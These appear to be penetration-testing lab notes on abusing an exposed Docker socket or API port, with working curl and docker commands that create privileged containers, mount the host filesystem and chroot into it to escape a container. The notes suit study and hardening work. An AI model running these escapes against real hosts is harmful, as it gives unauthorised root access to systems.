What is a docker socket

Docker has a RESTful API for interacting with the Docker daemon (called the Docker engine API). This daemon is used to handle the running and managing of containers. It can listen for Docker Engine API requests via three different types of Socket: unix, tcp, and fd.

Communication to a container can be created through the unix domain socket (or IPC socket) which is created at /var/run/docker.sock. UNIX sockets are the same as network sockets except that a path and file are used as addresses for client-server communication (IPC).

By exposing the Docker API inside of a container through /var/run/docker.sock you are allowing anyone in the docker group or root privileges to use the Docker API which can lead to commands being executed on the host.

General docker commands

Create container

docker -H 192.168.22.130:2375 container create -it --privileged --name test5 alpine
84551dbee2b0b5dd61a998d09543f4ba7402b36fa8caa84484e32d2aefcf0508

docker -H 192.168.22.130:2375 container start --attach -i 84551dbee2b0 
/ # hostname 
84551dbee2b0

docker run -it --name mycontainer2 alpine


Execute commands on container

docker run -it mycontainer2 ls
docker run localImage ls


docker exec mycontainer2 ls

Enumeration

Find socket files

find . / -type s,p   
find / -name docker.sock 2>/dev/null

Find sockets

/proc/net/tcp -a list of open tcp sockets
/proc/net/udp -a list of open udp sockets
/proc/net/raw -a list all the 'raw' sockets

Docker API communication

Connect through socket

curl --unix-socket docker.sock http://localhost/v1.41/images/json

docker -H docker.sock YourDockerCommand

Create container

curl --unix-socket docker.sock -H "Content-Type: application/json" -d '{"Image": "level2", "Cmd": ["hostname"]}' -X POST http://localhost/v1.41/containers/create

Start container

curl --unix-socket docker.sock -H "Content-Type: application/json" -X POST http://localhost/v1.41/containers/<CONATINER ID>/start

Create command to execute

curl --unix-socket docker.sock http://localhost/v1.41/containers/<CONTAINER ID>/exec -d '{"AttachStderr": true,"AttachStdout": true,"Tty":true,"Cmd":["ls"]}' -H "Content-Type: application/json"

Start execution of command

curl --unix-socket docker.sock http://localhost/v1.41/exec/<INSERT ID>/start -d '{"Tty":true}' -H "Content-Type: application/json" 



curl --unix-socket docker.sock -H "Content-Type: application/json" -d '{"Image": "level2",  "HostConfig":{"Privileged":true}}' -X POST http://localhost/v1.41/containers/create

Escape container with docker API

If a docker container you are in has exposed the docker API through an IPC socket, docker daemon or by opening the docker port it can be abused to open a privileged container which can then mount the hosts file system inside of it.

root@62f69d202b3a:/$ curl --unix-socket docker.sock -H "Content-Type: application/json" -d '{"Image": "level2",  "HostConfig":{"Privileged":true}}' -X POST http://localhost/v1.41/containers/create

{"Id":"13e1568e2363cc35874f47cb032653ae94eb91f469b3bcd8f7383aacbd1527a0","Warnings":[]}


root@62f69d202b3a:/$ curl --unix-socket docker.sock -H "Content-Type: application/json" -X POST http://localhost/v1.41/containers/13e1568e2363cc35874f47cb032653ae94eb91f469b3bcd8f7383aacbd1527a0/start


root@62f69d202b3a:/$ curl --unix-socket docker.sock http://localhost/v1.41/containers/13e1568e2363cc35874f47cb032653ae94eb91f469b3bcd8f7383aacbd1527a0/exec -d '{"AttachStderr": true,"AttachStdout": true,"Tty":true,"Cmd":["mkdir","-p","/mnt/hola"]}' -H "Content-Type: application/json"

{"Id":"72bdfff486d7b3912a1b5dfee65a6b789869d06f70163d7a5d47adf0a36fa741"}



root@62f69d202b3a:/$ curl --unix-socket docker.sock http://localhost/v1.41/exec/72bdfff486d7b3912a1b5dfee65a6b789869d06f70163d7a5d47adf0a36fa741/start -d '{"Tty":true}' -H "Content-Type: application/json"
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr

Docker port exposed

The docker -H command can be supplied to provide the address of a remote host to run docker commands against

┌──(kali㉿kali)-[~/Documents/dockerEscapes/lab1]         
└─$ docker -H 192.168.22.130:2375 info    
Native Overlay Diff: true
  userxattr: false
 Logging Driver: json-file
 Cgroup Driver: cgroupfs
 Cgroup Version: 1
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 io.containerd.runtime.v1.linux runc
 Default Runtime: runc
 Init Binary: docker-init 
 containerd version: d71fcd7d8303cbf684402823e425e9dd2e99285d
 runc version: b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7
 init version: de40ad0
 Security Options:
  apparmor
  seccomp
   Profile: default
 Kernel Version: 4.19.0-17-amd64
 Operating System: Debian GNU/Linux 10 (hostname)

Either of these commands can be ran to escape a docker container, the second one provides a privileged container which can then be used to mount the hosts file system inside the container.

docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

docker run --rm -it --privileged ubuntu bash

These commands mount the hosts file system inside the privileged container

mkdir -p /mnt/test
mount /dev/sda1 /mnt/test